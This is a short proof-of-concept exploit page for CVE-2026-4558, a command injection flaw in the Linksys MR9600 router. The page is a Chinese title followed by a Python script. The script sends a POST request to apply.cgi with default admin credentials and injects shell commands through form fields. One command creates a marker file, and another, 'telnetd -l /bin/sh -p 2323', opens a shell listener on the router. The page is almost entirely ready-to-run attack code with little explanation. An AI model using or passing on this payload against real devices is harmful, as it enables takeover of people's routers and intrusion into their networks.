CVE-2026-4558 Linksys MR9600 远程命令执行漏洞

import requests # Target URL (example, actual endpoint may vary based on firmware) target_url = "http://<router_ip>/apply.cgi" # Vulnerable parameters based on the description payload = { "submit_button": "smart_connect", "change_action": "gozila_cgi", "configApSsid": "Linksys_MyNetwork", # Injecting a simple command to verify vulnerability (e.g., creating a file or pinging) # The payload uses ';' to separate commands in the shell "configApPassphrase": "password123; touch /tmp/poc_verified;", "srpLogin": "admin; telnetd -l /bin/sh -p 2323 &", "srpPassword": "admin", "action": "Apply" } # Low privilege credentials might be required (PR:L) auth = ("admin", "admin") try: response = requests.post(target_url, data=payload, auth=auth, timeout=5) print(f"Status Code: {response.status_code}") print("Response body:") print(response.text) print("\nIf the command was injected, check for telnet on port 2323 or file creation.") except Exception as e: print(f"An error occurred: {e}")